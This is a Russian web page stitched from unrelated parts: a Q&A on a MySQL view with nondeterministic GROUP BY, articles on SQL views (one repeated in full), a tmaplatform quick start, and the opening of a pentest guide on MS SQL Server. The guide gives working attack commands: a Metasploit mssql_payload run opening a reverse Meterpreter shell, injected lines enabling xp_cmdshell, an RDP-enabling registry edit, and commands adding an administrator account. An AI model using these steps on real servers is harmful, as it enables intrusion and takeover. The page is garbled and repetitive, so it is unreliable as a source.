Почему вьюха и запрос расходятся в результатах?
ссылки соответственно article_id на таблицу article стобец id , author_id на authors.id , job_id на jobs.id .
У одной статьи может быть несколько авторов. У одного автора может быть несколько мест работы, но на выходе вьюхи должно остаться только одно любое. Вьюха объединяет эти разрозненные таблицы в одну таблицу авторов с одним указанным местом работы.
Отслеживать
задан 28 июн 2018 в 8:26
1,746 16 16 серебряных знаков 39 39 бронзовых знаков
правильно и подозреваете. вы там зачем вообще группировку используете, если у вас нет никаких агрегатных функций? Такой синтаксис работает наверное только в mysql, и вообще не определяет, какая строка останется на выходе, хотя наверное в основном остается первая из группы
28 июн 2018 в 8:43
28 июн 2018 в 8:44
@teran затем чтобы исключить дублирование авторов. Дело в том что мест работы у одного автора может быть несколько, но мне надо взять только первое.
28 июн 2018 в 8:45
вы где то с документации читали, что группировка применяется для того, чтобы исключать дублирования и с ее помощью можно получить что-то первое? Дублирование исключается иными средствами, как и извлечение первой записи (если существует какой-то порядок).
28 июн 2018 в 8:48
@teran хм, я почему-то всегда использую group by для удаления дубликатов. А что вы предложите? distinct ?
28 июн 2018 в 8:50
3 ответа 3
Сортировка: Сброс на вариант по умолчанию
Mysql нарушает стандарт в плане нестрогой группировки.
В последних версиях она ещё и отключена по умолчанию.
Добавьте все используемые поля в GROUP BY (либо уберите GROUP BY вообще) и получите идентичный результат (2 записи) при запросе из View
create view v_authors as select author_id as id, c.article_id, p.name, j.name as job_name from authors_connection c inner join articles a on a.id = c.article_id inner join authors p on p.id = c.author_id left join jobs j on j.id = c.job_id group by c.author_id, c.article_id, p.name, j.name; -- Тут С другой стороны, очевидно, что запрос без view работает только потому, что фильтр применяется до группировки.
select * from( select author_id as id, c.article_id, p.name, j.name as job_name from authors_connection c inner join articles a on a.id = c.article_id inner join authors p on p.id = c.author_id left join jobs j on j.id = c.job_id group by c.author_id ) t where article_id = 3 также вернёт одну запись (скорее всего, это похоже на UB).
Таким образом, придётся вынести группировку из view.
Или, в процессе группировки Вы потеряете данные, по которым собираетесь фильтровать.
Отслеживать
ответ дан 28 июн 2018 в 9:09
27.2k 2 2 золотых знака 45 45 серебряных знаков 76 76 бронзовых знаков
Комментарии не предназначены для расширенной дискуссии; разговор перемещён в чат.
28 июн 2018 в 12:13
Что происходит в ваших запросах.
Если вы выполните запрос без where и group by :
select author_id as id, c.article_id, p.name, j.name as job_name from authors_connection c inner join articles a on a.id = c.article_id inner join authors p on p.id = c.author_id left join jobs j on j.id = c.job_id; то получите набор из 4 строк: 3 статьи первого автора и статья #3 второго.
Далее при работе со вьюшкой вы проводите группировку по автору. В результате чего у вас остается 2 строки. Второй автор там как был с третьей статьей так и остался, а вот группировка первого автор дает вам неопределенный результат. У вас было три строки этого автора, а после группировки остается одна. Какая из них именно остается — не определено, т.к. группировка в целом выполнена неправильно. Осталась первая попавшаяся, и это вероятно строка с arcticle_id = 1 . Поэтому после фильтрации вьюшки по article_id = 3 осталась единственная строка второго автора. При удачном расположении звезд этот запрос может вернуть и 2 строки, если после группировки останется не произвольная первая строка первого автора, а третья. Индекс там по убыванию будет, или еще чего.
Во втором же случае из полных четырех строк вы сначала фильтруете статьи с id = 3 , остается две строки разных авторов. И теперь при группировке остается все те же две разных строки.
Представления (VIEW) в MySQL
В комментариях Хабра упоминались вопросы по использованию представлений. Данный топик является обзором представлений, появившихся в MySQL версии 5.0. В нем рассмотрены вопросы создания, преимущества и ограничения представлений.
Что такое представление?
Представление (VIEW) — объект базы данных, являющийся результатом выполнения запроса к базе данных, определенного с помощью оператора SELECT, в момент обращения к представлению.
Представления иногда называют «виртуальными таблицами». Такое название связано с тем, что представление доступно для пользователя как таблица, но само оно не содержит данных, а извлекает их из таблиц в момент обращения к нему. Если данные изменены в базовой таблице, то пользователь получит актуальные данные при обращении к представлению, использующему данную таблицу; кэширования результатов выборки из таблицы при работе представлений не производится. При этом, механизм кэширования запросов (query cache) работает на уровне запросов пользователя безотносительно к тому, обращается ли пользователь к таблицам или представлениям.
Представления могут основываться как на таблицах, так и на других представлениях, т.е. могут быть вложенными (до 32 уровней вложенности).
Преимущества использования представлений:
- Дает возможность гибкой настройки прав доступа к данным за счет того, что права даются не на таблицу, а на представление. Это очень удобно в случае если пользователю нужно дать права на отдельные строки таблицы или возможность получения не самих данных, а результата каких-то действий над ними.
- Позволяет разделить логику хранения данных и программного обеспечения. Можно менять структуру данных, не затрагивая программный код, нужно лишь создать представления, аналогичные таблицам, к которым раньше обращались приложения. Это очень удобно когда нет возможности изменить программный код или к одной базе данных обращаются несколько приложений с различными требованиями к структуре данных.
- Удобство в использовании за счет автоматического выполнения таких действий как доступ к определенной части строк и/или столбцов, получение данных из нескольких таблиц и их преобразование с помощью различных функций.
Ограничения представлений в MySQL
- нельзя повесить триггер на представление,
- нельзя сделать представление на основе временных таблиц; нельзя сделать временное представление;
- в определении представления нельзя использовать подзапрос в части FROM,
- в определении представления нельзя использовать системные и пользовательские переменные; внутри хранимых процедур нельзя в определении представления использовать локальные переменные или параметры процедуры,
- в определении представления нельзя использовать параметры подготовленных выражений (PREPARE),
- таблицы и представления, присутствующие в определении представления должны существовать.
- только представления, удовлетворяющие ряду требований, допускают запросы типа UPDATE, DELETE и INSERT.
Создание представлений
Для создания представления используется оператор CREATE VIEW, имеющий следующий синтаксис:
CREATE [ OR REPLACE]
[ALGORITHM = ]
VIEW view_name [(column_list)]
AS select_statement
[ WITH [ CASCADED | LOCAL ] CHECK OPTION ]* This source code was highlighted with Source Code Highlighter .
view_name — имя создаваемого представления. select_statement — оператор SELECT, выбирающий данные из таблиц и/или других представлений, которые будут содержаться в представлении
- OR REPLACE — при использовании данной конструкции в случае существования представления с таким именем старое будет удалено, а новое создано. В противном случае возникнет ошибка, информирующая о сществовании представления с таким именем и новое представление создано не будет. Следует отметить одну особенность — имена таблиц и представлений в рамках одной базы данных должны быть уникальны, т.е. нельзя создать представление с именем уже существующей таблицы. Однако конструкция OR REPLACE действует только на представления и замещать таблицу не будет.
- ALGORITM — определяет алгоритм, используемый при обращении к представлению (подробнее речь об этом пойдет ниже).
- column_list — задает имена полей представления.
- WITH CHECK OPTION — при использовании данной конструкции все добавляемые или изменяемые строки будут проверяться на соответствие определению представления. В случае несоответствия данное изменение не будет выполнено. Обратите внимание, что при указании данной конструкции для необновляемого представления возникнет ошибка и представление не будет создано. (подробнее речь об этом пойдет ниже).
CREATE VIEW v AS SELECT a.id, b.id FROM a,b;
* This source code was highlighted with Source Code Highlighter .
Для избежания такой ситуации нужно явно указывать имена полей представления
CREATE VIEW v (a_id, b_id) AS SELECT a.id, b.id FROM a,b;
* This source code was highlighted with Source Code Highlighter .
Того же результата можно добиться, используя синонимы (алиасы) для названий колонок:
CREATE VIEW v AS SELECT a.id a_id, b.id b_id FROM a,b;
* This source code was highlighted with Source Code Highlighter .
CREATE VIEW v AS SELECT group_concat( DISTINCT column_name oreder BY column_name separator ‘+’ ) FROM table_name;
* This source code was highlighted with Source Code Highlighter .
- Если в обоих операторах встречается условие WHERE, то оба этих условия будут выполнены как если бы они были объединены оператором AND.
- Если в определении представления есть конструкция ORDER BY, то она будет работать только в случае отсутствия во внешнем операторе SELECT, обращающемся к представлению, собственного условия сортировки. При наличии конструкции ORDER BY во внешнем операторе сортировка, имеющаяся в определении представления, будет проигнорирована.
- При наличии в обоих операторах модификаторов, влияющих на механизм блокировки, таких как HIGH_PRIORITY, результат их совместного действия неопределен. Для избежания неопределенности рекомендуется в определении представления не использовать подобные модификаторы.
Алгоритмы представлений
Существует два алгоритма, используемых MySQL при обращении к представлению: MERGE и TEMPTABLE.
В случае алгоритма MERGE, MySQL при обращении к представлению добавляет в использующийся оператор соответствующие части из определения представления и выполняет получившийся оператор.
В случае алгоритма TEMPTABLE, MySQL заносит содержимое представления во временную таблицу, над которой затем выполняется оператор обращенный к представлению.
Обратите внимание: в случае использования этого алгоритма представление не может быть обновляемым (см. далее).
При создании представления есть возможность явно указать используемый алгоритм с помощью необязательной конструкции [ALGORITHM = ]
UNDEFINED означает, что MySQL сам выбирает какой алгоритм использовать при обращении к представлению. Это значение по умолчанию, если данная конструкция отсутствует.
Использование алгоритма MERGE требует соответствия 1 к 1 между строками таблицы и основанного на ней представления.
Пусть наше представление выбирает отношение числа просмотров к числу ответов для тем форума:
CREATE VIEW v AS SELECT subject, num_views/num_replies AS param FROM topics WHERE num_replies>0;
* This source code was highlighted with Source Code Highlighter .
Для данного представления каждая строка соответствует единственной строке из таблицы topics, т.е. может быть использован алгоритм MERGE. Рассмотрим следующее обращение к нашему представлению:
SELECT subject, param FROM v WHERE param>1000;
* This source code was highlighted with Source Code Highlighter .
В случае MERGE алгоритма MySQL включает определение представления в использующийся оператор SELECT: заменяет имя представления на имя таблицы, заменяет список полей на определения полей представления и добавляет условие в части WHERE с помощью оператора AND. Итоговый оператор, выполняемый затем MySQL, выглядит следующим образом:
SELECT subject, num_views/num_replies AS param FROM topics WHERE num_replies>0 AND num_views/num_replies>1000;
* This source code was highlighted with Source Code Highlighter .
Если в определении представления используются групповые функции (count, max, avg, group_concat и т.д.), подзапросы в части перечисления полей или конструкции DISTINCT, GROUP BY, то не выполняется требуемое алгоритмом MERGE соответствие 1 к 1 между строками таблицы и основанного на ней представления.
Пусть наше представление выбирает количество тем для каждого форума:
CREATE VIEW v AS SELECT forum_id, count (*) AS num FROM topics GROUP BY forum_id;
* This source code was highlighted with Source Code Highlighter .
Найдем максимальное количество тем в форуме:
* This source code was highlighted with Source Code Highlighter .
Если бы использовался алгоритм MERGE, то этот запрос был бы преобразован следующим образом:
SELECT MAX ( count (*)) FROM topics GROUP BY forum_id;
* This source code was highlighted with Source Code Highlighter .
Выполнение этого запроса приводит к ошибке «ERROR 1111 (HY000): Invalid USE of GROUP function», так как используется вложенность групповых функций.
В этом случае MySQL использует алгоритм TEMPTABLE, т.е. заносит содержимое представления во временную таблицу (данный процесс иногда называют «материализацией представления»), а затем вычисляет MAX() используя данные временной таблицы:
CREATE TEMPORARY TABLE tmp_table SELECT forum_id, count (*) AS num FROM topics GROUP BY forum_id;
SELECT MAX (num) FROM tmp_table;
DROP TABLE tpm_table;
* This source code was highlighted with Source Code Highlighter .
- В случае UNDEFINED MySQL пытается использовать MERGE везде где это возможно, так как он более эффективен чем TEMPTABLE и, в отличие от него, не делает представление не обновляемым.
- Если вы явно указываете MERGE, а определение представления содержит конструкции запрещающие его использование, то MySQL выдаст предупреждение и установит значение UNDEFIND.
Обновляемость представлений
- Соответствие 1 к 1 между строками представления и таблиц, на которых основано представление, т.е. каждой строке представления должно соответствовать по одной строке в таблицах-источниках.
- Поля представления должны быть простым перечислением полей таблиц, а не выражениеями col1/col2 или col1+2.
Обновляемое представление может допускать добавление данных (INSERT), если все поля таблицы-источника, не присутствующие в представлении, имеют значения по умолчанию.
Обратите внимание: для представлений, основанных на нескольких таблицах, операция добавления данных (INSERT) работает только в случае если происходит добавление в единственную реальную таблицу. Удаление данных (DELETE) для таких представлений не поддерживается.
- Изменение данных (UPDATE) будет происходить только если строка с новыми значениями удовлетворяет условию WHERE в определении представления.
- Добавление данных (INSERT) будет происходить только если новая строка удовлетворяет условию WHERE в определении представления.
- Для LOCAL происходит проверка условия WHERE только в собственном определении представления.
- Для CASCADED происходит проверка для всех представлений на которых основанно данное представление. Значением по умолчанию является CASCADED.
punbb > CREATE OR REPLACE VIEW v AS
-> SELECT forum_name, `subject`, num_views FROM topics,forums f
-> WHERE forum_id=f.id AND num_views>2000 WITH CHECK OPTION ;
Query OK, 0 rows affected (0.03 sec)
punbb > UPDATE v SET num_views=2003 WHERE subject= ‘test’ ;
Query OK, 0 rows affected (0.03 sec)
Rows matched: 1 Changed: 0 WARNINGS: 0
punbb > SELECT subject, num_views FROM topics WHERE subject= ‘test’ ;
+———+————+
| subject | num_views |
+———+————+
| test | 2003 |
+———+————+
1 rows IN SET (0.01 sec)
* This source code was highlighted with Source Code Highlighter .
Однако, если мы попробуем установить значение num_views меньше 2000, то новое значение не будет удовлетворять условию WHERE num_views>2000 в определении представления и обновления не произойдет.
punbb > UPDATE v SET num_views=1999 WHERE subject= ‘test’ ;
ERROR 1369 (HY000): CHECK OPTION failed ‘punbb.v’
* This source code was highlighted with Source Code Highlighter .
Не все обновляемые представления позволяют добавление данных:
punbb > INSERT INTO v (subject,num_views) VALUES ( ‘test1’ ,4000);
ERROR 1369 (HY000): CHECK OPTION failed ‘punbb.v’
* This source code was highlighted with Source Code Highlighter .
Причина в том, что значением по умолчанию колонки forum_id является 0, поэтому добавляемая строка не удовлетворяет условию WHERE forum_id=f.id в определении представления. Указать же явно значение forum_id мы не можем, так как такого поля нет в определении представления:
punbb > INSERT INTO v (forum_id,subject,num_views) VALUES (1, ‘test1’ ,4000);
ERROR 1054 (42S22): Unknown COLUMN ‘forum_id’ IN ‘field list’
* This source code was highlighted with Source Code Highlighter .
С другой строны:
punbb > INSERT INTO v (forum_name) VALUES ( ‘TEST’ );
Query OK, 1 row affected (0.00 sec)
* This source code was highlighted with Source Code Highlighter .
Таким образом, наше представление, основанное на двух таблицах, позволяет обновлять обе таблицы и добавлять данные только в одну из них.
Удачи в работе с представлениями!
Что такое представления VIEWS в базах данных? И зачем они нужны?
Многие начинающие администраторы и программисты баз данных, да и просто системные администраторы, которые обслуживают некую базу данных, не знают что такое представление или VIEWS, и зачем вообще они нужны. Сейчас мы попробуем разобраться, что же это такое.
Начнем с небольшой теории.
Что такое VIEWS?
VIEWS – представление, или, например, в PostgreSQL они называются «Видами» (т.е. Вид), русские админы часто называют их вьюхами, т.е. одно представление это вьюшка. Она представляет собой хранимый запрос к базе данных, также ее можно назвать виртуальная таблица, но в этой таблице данные не хранятся, а хранится только сам запрос. Но, тем не менее, к вьюшке можно обращаться как к обычной таблице и извлекать данные из нее.
Мы с Вами говорим о базах данных, в которых используется язык SQL, исходя из этого, можно сделать вывод, что VIEWS можно создать на данном языке. Это очень распространенный объект в базе данных, поэтому во всех СУБД есть возможность создавать представления в графическом интерфейсе путем нажатия кнопки «Создать представление» или «Создать новый вид», а также, конечно же, с использованием инструкции «CREATE VIEW».
Но перед тем как учиться создавать вьюшки, давайте поговорим о том, зачем они нужны и какие преимущества они нам дадут.
Зачем нужны представления?
Одним из главных достоинством представлений является то, что они сильно упрощают взаимодействие с данными в базе данных. Допустим, Вам необходимо каждый раз делать сложную по своей структуре выборку, а как Вы знаете, запрос на выборку может быть, ну просто очень сложный и этому нет предела. И если не было бы вьюшек, то Вам приходилось бы каждый раз запускать этот запрос, или даже его модифицировать, например, для вставки условий. А так как у нас есть такие объекты как представления, нам этого делать не придется. Мы просто на всего создадим одну вьюшку, и потом уже к ней будем обращаться с помощью уже простых запросов, которые также можно делать сложными, если это необходимо. Например, вьюшки также можно объединять с другими таблицами или другими представлениями.
К представлениям можно обращаться и из приложений, например, Вам нужно вывести какой-нибудь отчет, формирование которого требует каких-то расчетов, это легко можно реализовать путем написания необходимого запроса (в котором и будут рассчитываться данные, например из разных таблиц) и вставке этого запроса во вьюшку. А потом уже обращаться к этой вьюшке, например с помощью такого простого запроса как:
SELECT * FROM TableName
Как создать представление VIEWS?
Теперь давайте поговорим о том, как создавать эти самые вьюшки. Во-первых, сразу скажу, что для этого необходимы знания SQL (для построения сложных запросов). Во-вторых, Вы за ранее должны определиться, что Вам необходимо вывести в результате того или иного запроса. Рассматривать процесс создания представления путем нажатия кнопок мы не будем, так это достаточно просто. Мы рассмотрим создание VIEWS с использованием языка SQL (хотя и это тоже просто).
Например, в PostgreSQL запрос создания представления будет выглядеть так:
CREATE VIEW MyView AS SELECT id, name, org FROM work.TableName
- CREATE VIEW – команда создания представления;
- MyView – название Вашей будущей вьюшки;
- SELECT id, name, org FROM work.TableName – запрос на выборку.
Здесь мы использовали простой запрос на выборку, Вы в свою очередь можете писать любой запрос, даже с объединением нескольких таблиц и условий к ним.
Полный синтаксис команды CREATE VIEW (в PostgreSQL) выглядит следующим образом:
CREATE [OR REPLACE] [ALGORITHM = ] VIEW view_name [(column_list)] AS select_statement [WITH [CASCADED | LOCAL] CHECK OPTION]
После того, как Вы создали представление, Вы можете к нему обращаться. А данные, которые будет выводить вьюшка, будут изменяться в зависимости от изменений данных в исходных таблицах, так как данные во вьюшке формируются при обращении к этому представлению. Исходя из этого, можно сделать вывод, что данные, которые выводит вьюшка, будут всегда актуальные.
У меня все, надеюсь, теперь у Вас есть представление о том, что такое VIEWS, пока!
Проверяем MS SQL на прочность. Векторы атак на MS SQL Server. Вьюха sql это
Что такое представления VIEWS в базах данных? И зачем они нужны? | Info-Comp.ru
Многие начинающие администраторы и программисты баз данных, да и просто системные администраторы, которые обслуживают некую базу данных, не знают что такое представление или VIEWS, и зачем вообще они нужны. Сейчас мы попробуем разобраться, что же это такое.
Начнем с небольшой теории.
Что такое VIEWS?
VIEWS – представление, или например в PostgreSQL они называются «Видами» (т.е. Вид), русские админы часто называют их вьюхами, т.е. одно представление это вьюшка. Она представляет собой хранимый запрос к базе данных, также ее можно назвать виртуальная таблица, но в этой таблице данные не хранятся, а хранится только сам запрос. Но, тем не менее, к вьюшке можно обращаться как к обычной таблице и извлекать данные из нее.
Мы с Вами говорим о базах данных, в которых используется язык SQL, исходя из этого, можно сделать вывод, что VIEWS можно создать на данном языке. Это очень распространенный объект в базе данных, поэтому во всех СУБД есть возможность создавать представления в графическом интерфейсе путем нажатия кнопки «Создать представление» или «Создать новый вид», а также, конечно же, с использованием инструкции «CREATE VIEW».
Но перед тем как учиться создавать вьюшки, давайте поговорим о том, зачем они нужны и какие преимущества они нам дадут.
Зачем нужны представления?
Одним из главных достоинством представлений является то, что они сильно упрощают взаимодействие с данными в базе данных. Допустим, Вам необходимо каждый раз делать сложную по своей структуре выборку, а как Вы знаете, запрос на выборку может быть, ну просто очень сложный и этому нет предела. И если не было бы вьюшек, то Вам приходилось бы каждый раз запускать этот запрос, или даже его модифицировать, например, для вставки условий. А так как у нас есть такие объекты как представления, нам этого делать не придется. Мы просто на всего создадим одну вьюшку, и потом уже к ней будем обращаться с помощью уже простых запросов, которые также можно делать сложными, если это необходимо. Например, вьюшки также можно объединять с другими таблицами или другими представлениями.
К представлениям можно обращаться и из приложений, например, Вам нужно вывести какой-нибудь отчет, формирование которого требует каких-то расчетов, это легко можно реализовать путем написания необходимого запроса (в котором и будут рассчитываться данные, например из разных таблиц) и вставке этого запроса во вьюшку. А потом уже обращаться к этой вьюшке, например с помощью такого простого запроса как:
SELECT * FROM TableName
Как создать представление VIEWS?
Теперь давайте поговорим о том, как создавать эти самые вьюшки. Во-первых, сразу скажу, что для этого необходимы знания SQL (для построения сложных запросов). Во-вторых, Вы за ранее должны определиться, что Вам необходимо вывести в результате того или иного запроса. Рассматривать процесс создания представления путем нажатия кнопок мы не будем, так это достаточно просто. Мы рассмотрим создание VIEWS с использованием языка SQL (хотя и это тоже просто).
Например, в PostgreSQL запрос создания представления будет выглядеть так:
CREATE VIEW MyView AS SELECT id, name, org FROM work.TableName
- CREATE VIEW – команда создания представления;
- MyView – название Вашей будущей вьюшки;
- SELECT id, name, org FROM work.TableName – запрос на выборку.
Здесь мы использовали простой запрос на выборку, Вы в свою очередь можете писать любой запрос, даже с объединением нескольких таблиц и условий к ним.
Полный синтаксис команды CREATE VIEW (в PostgreSQL) выглядит следующим образом:
CREATE [OR REPLACE] [ALGORITHM = ] VIEW view_name [(column_list)] AS select_statement [WITH [CASCADED | LOCAL] CHECK OPTION]
После того, как Вы создали представление, Вы можете к нему обращаться. А данные, которые будет выводить вьюшка, будут изменяться в зависимости от изменений данных в исходных таблицах, так как данные во вьюшке формируются при обращении к этому представлению. Исходя из этого, можно сделать вывод, что данные, которые выводит вьюшка, будут всегда актуальные.
У меня все, надеюсь, теперь у Вас есть представление о том, что такое VIEWS, пока!
Быстрый старт
tmaplatform® — это среда разработки и исполнения приложений.
Платформа работает только совместно с базой данных (СУБД). Для работы с платформой вам нужно иметь одну из поддерживаемых платформой баз данных (установленную и запущенную на локальном или доступном по сети компьютере). Так же для разработки программы вам потребуется максимальные права доступа к серверу баз данных.
Мы советуем установить базу данных MySQL, потому что она является основной базой данных платформы и на данный момент единственной проверенной. Необходимо внести изменения в конфигурационный файл MySQL.
Вопросы установки и настройки баз данных описаны в соответствующем разделе.
После запуска платформы мы увидим окно выбора/создания базы данных:
В контестном меню запустите команду «Создать базу данных».
В следующей форме необходимо заполнить несколько полей:
После заполнения полей и нажатия ОК в списке баз данных появится ваша новая база. К которой надо подключиться, открыть редактор и начать разработку.
Разработаем простое приложение, которое будет учитывать входящие и исходящие платежи.
Разработка приложений в tmaplatform® основывается на визуальных средствах проектирования и встроенном языке программирования similar pascal с интегрированным SQL При первом открытии редактора нашей программы (файл — редактор) мы увидим следующее:
Программа состоит из модулей. Все модули нашей программы располагаются в виде дерева в левой части редактора. У корня дерева любой программы есть вкладка Свойства программы, на которую мы обратим наше внимание. Для разграничения прав доступа к объектам БД и программы, нам надо заполнить раздел Права доступа — Выбрать название таблицы, где будет храниться информация о пользователях программы (можно указать существующую таблицу, если такой таблицы нет, платформа создаст её) и заполнить в каких полях будет логин, ФИО, роль пользователя.
- Папка — для удобства разработчиков, для группировки объектов программы, для наглядности
- Справочник — форма списка, создается для какой-то определенной таблицы БД, автоматически формирует запрос для построения списка (в справочнике сразу после создания доступны: фильтрация по любым полям, сортировка, пользовательские настройки отображения, экспорт в популярные форматы файлов)
- Главное меню — меню главного окна.
- Роль — роли БД, которым можно присвоить свое главное меню.
- Таблица — Таблица БД.
- Вьюха (от view) — Представление БД.
Приступим к нашему первому приложению. Создадим в редакторе три папки — Справочники, Документы и Отчеты. В папке Справочники создадим нашу первую таблицу — Клиенты (dirClients). Рассмотрим процесс создания подробнее. После того, как мы выбрали пункт контекстного меню «Создать — Таблицу», платформа создаст таблицу Table1 с полями id (Код) и Name (Наименование). В нашем случае все устраивает, кроме названия таблицы, переименуем ее в dirClients. Поле Код типа integer по умолчанию первичный ключ таблицы и счетчик (суррогатный ключ). Поле Наименование типа string является по умолчанию полем описания — теперь, если мы будем использовать идентификатор клиента в каких-то других таблицах (например, в платежных документах), платформа заменить в интерфейсе идентификатор наименованием. Вот для этого мы и указываем поле описания. Свойство таблицы «Поле предка» — для построения иерархических таблиц. Сразу после создания таблицы в редакторе выберем пункт меню «Применить на сервере» и увидим:
После применения изменений, наша таблица будет создана в БД. Также видно, что на вкладках редактора мы можем управлять индексами и триггерами нашей таблицы, но это выходит за рамки статьи быстрый старт. А если вы не знаете, что такое индексы и триггеры, то советуем Вам это поскорее узнать.Теперь приступим к реализации пользовательского интерфейса для просмотра и редактирования нашей таблицы. Выберем таблицу в дереве объектов программы и в контекстном меню «Создать — Справочник» и все, форма для просмотра списка клиентов готова (с большими функциональными возможностями — фильтрация, поиск, сортировка, экспорт и другие). Также создадим форму — в контекстном меню выберем «Создать — Форму» и у нас готова форма для редактирования записи таблицы. После этих двух кликов мышкой платформа создала для нас два объекта — dirClientsReference и dirClientsForm — формы для просмотра и редактирования списка наших клиентов:
Таким же образом создадим пару таблиц, которые поместим в папку Документы: Входящий и Исходящий платежи (логичнее сделать один документ платеж с признаком направление, но для наглядности разделим на два документа). Таблицы docPayIn и DocPayOut с полями
-
Id типа integer — код документа
Как видно из рисунка, помимо самих таблиц, платформа создаст внешние ключи, которые будут контролировать ссылочную целостность данных. При включении св-ва программы «Расширенное управление внешними ключами» мы сможем задать для созданных внешних ключей правила обновления и удаления, т. е. переложить контроль над целостностью данных на плечи СУБД (что она и должна делать). Так же, как и для таблицы с клиентами, сделаем для наших документов справочники для просмотра списков и формы для редактирования. После четырех кликов мышкой по контекстному меню, платформа создаст для нас следующие объекты — docPayInReference, docPayOutReference, docPayInForm и docPayOutForm. Все, теперь мы можем вести наш справочник клиентов и редактировать документы по их платежам. Осталось только собрать все платежи в одном месте, чтобы строить по ним отчеты. Для этого в редакторе выберем пункт контекстного меню «Создать — Автовьюху» и создадим RepPays. Определим список полей:
- DocName типа String — Наименование документа
- DocId типа integer — Номер документа
- DocDate типа DateTime — Дата
- ClientId типа *dirClients (по факту integer) — клиент
- Summa типа currency — сумма платежа
После применения на сервере, во всех таблицах нашей программы появится вкладка «Участвует во вьюхах». Осталось только привязать поля наших документов к полям вьюхи (поля с одинаковыми названиями привяжутся автоматически), для этого во вкладке «Участвует во вьюхах» добавляем из списка всех автовьюх нужную нам RepPays и заполняем окно привязки полей:
Помимо связи полей, мы можем добавлять условия фильтрации (любое SQL-выражение) и произвольные поля (в нашем случае — Название документа). Остальные поля указываются из таблицы БД. Аналогичные операции проделаем для документа «Исходящий платеж», только поле «Сумма платежа» укажем со знаком минус. Для просмотра данных этого представления надо сделать соответствующий справочник (контекстное меню редактора). Осталось добавить главное меню приложения — опять же через контекстное меню редактора. Добавить нужные нам пункты главного меню. В итоге мы получим работающее приложение следующего вида:
Следует отметить, что над любыми объектами редактора доступны операции Копирования/Вставки (при необходимости переноса части программы из одной в другую).Не написав ни единой строчки программного кода, мы разработали за считанные минуты простое приложение, но функциональность созданного приложения достаточно высока — помимо манипуляций с данными (добавления, изменения, удаления), пользователю доступны такие возможности, как поиск по первым буквам в любой колонке, фильтрация по любым полям, просмотр списка в виде дерева (с разными вариантами группировки), сортировка по любой колонке, сохранение и восстановление настроек отображения таблиц (видимость, ширина и порядок колонок), а также экспорт данных во многие общепринятые форматы (такие, как MS Excel, OpenOffice Calc, HTML и другие).
Проверяем MS SQL на прочность. Векторы атак на MS SQL Server
Практически ни один серьезный пентест не обходится без проверки СУБД, ведь это одна из самых популярных у злоумышленников дверей к желаемой информации и машине. В крупных проектах в качестве СУБД очень часто используется MS SQL Server. И о проверке именно его безопасности мы сегодня и поговорим. Открывать Америку не будем — опытные камрады лишь освежат свои знания, а вот для тех, кто только начинает осваивать тему, я постарался максимально подробно разложить все по пунктам.
Введение
Один из самых важных критериев надежности информационной системы — безопасность СУБД. Атаки, направленные на нее, в большинстве случаев критические, потому что могут частично либо полностью нарушить работоспособность системы. Поскольку крупные организации формировали свою инфраструктуру давным-давно и обновление на новые версии ПО вызывает у них «большие» проблемы, самыми распространенными версиями до сих пор остаются MS SQL Server 2005 и MS SQL Server 2008. Но это всего лишь статистика, и далее мы будем рассматривать общие для всех версий векторы и техники. Для удобства условно разобьем весь процесс пентеста на несколько этапов.
Как найти MS SQL
Первое, что начинает делать пентестер, — это собирать информацию о сервисах, расположенных на сервере жертвы. Самое главное, что нужно знать для поиска Microsoft SQL Server, — номера портов, которые он слушает. А слушает он порты 1433 (TCP) и 1434 (UDP). Чтобы проверить, имеется ли MS SQL на сервере жертвы, необходимо его просканировать. Для этого можно использовать Nmap cо скриптом `ms-sql-info`. Запускаться сканирование будет примерно так:nmap -p 1433 —script=ms-sql-info 192.168.18.128 Ну а результат его выполнения представлен на рис. 1.
Рис. 1.Сканирование MS SQL при помощи Nmap
Помимо Nmap, есть отличный сканирующий модуль для Метасплоита `mssql_ping`, позволяющий также определять наличие MS SQL на атакуемом сервере:
msf> use auxilary/scanner/mssql/mssql_ping msf auxilary(mssql_ping) > set RHOSTS 192.167.1.87 RHOSTS => 192.168.1.87 msf auxilary(mssql_ping) > run Рис. 2. Сканирование MS SQL при помощи mssql_ping
Используя один из данных вариантов, можно быстренько определить, установлен ли на сервере MS SQL, а также узнать его версию. После чего можно переходить к следующему этапу.
Brute force
- Windows Authentication — доверительное соединение, при котором SQL Server принимает учетную запись пользователя, предполагая, что она уже проверена на уровне операционной системы.
- Смешанный режим — аутентификация средствами SQL Server + Windows Authentication.
Некоторые плюсы смешанного режима
- Позволяет SQL Server поддерживать более старые приложения, а также поставляемые сторонними производителями приложения, для которых необходима проверка подлинности SQL Server.
- Позволяет SQL Server поддерживать среды с несколькими операционными системами, в которых пользователи не проходят проверку подлинности домена Windows.
- Позволяет разработчикам программного обеспечения распространять свои приложения с помощью сложной иерархии разрешений, основанной на известных, заранее установленных именах входа SQL Server.
WWW
Большое разнообразие словарей для брутфорса можно найти здесь.
Получение shell’а
В случае если у нас получилось сбрутить учетку `sa`, мы можем залогиниться в БД. Далее сценарий прост — включаем хранимую процедуру, позволяющую выполнять команды на уровне операционной системы, и заливаем на сервер Meterpreter shell. Крутые ребята написали для Метасплоита отличный модуль `mssql_payload`, который автоматизирует этот процесс:msf > use exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) > set RHOST 172.16.2.104 msf exploit(mssql_payload) > set USERNAME sa USERNAME => sa msf exploit(mssql_payload) > set PASSWORD root PASSWORD => root msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(mssql_payload) > set LHOST 172.16.2.105 LHOST => 172.16.2.105 [*] Command Stager progress — 100.00% done (102246/102246 bytes) [*] Meterpreter session 1 opened (172.16.2.105:4444 -> 172.16.2.104:3987) at 2015-02-20 10:42:52 -0500 meterpreter > Сессия Meterpreter’a создана, теперь ты имеешь полный доступ. Можешь дампить хеш админа, делать скриншоты, создавать/удалять файлы, включать/выключать мышь или клавиатуру и многое другое. Пожалуй, это самый популярный шелл, который используется при тестах на проникновение. Полный список команд Meterpreter’a можно подсмотреть здесь.
Что делать, если логин/пароль не сбрутился?
- `10; EXEC sp_configure ‘show advanced options’,1;`
- `10; reconfigure;`
- `10; ‘exec sp_configure ‘xp_cmdshell’,1;`
- `10; reconfigure`
10; reg add «HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server» /v fDenyTSConnections /t REG_DWORD /d 0 /f Создаем пользователя:10; exec master.dbo.xp_cmdshell ‘net user root toor /ADD’ Даем права:10;exec master.dbo.xp_cmdshell ‘net localgroup administrators root/add’
Повышение привилегий. TRUSTWORTHY
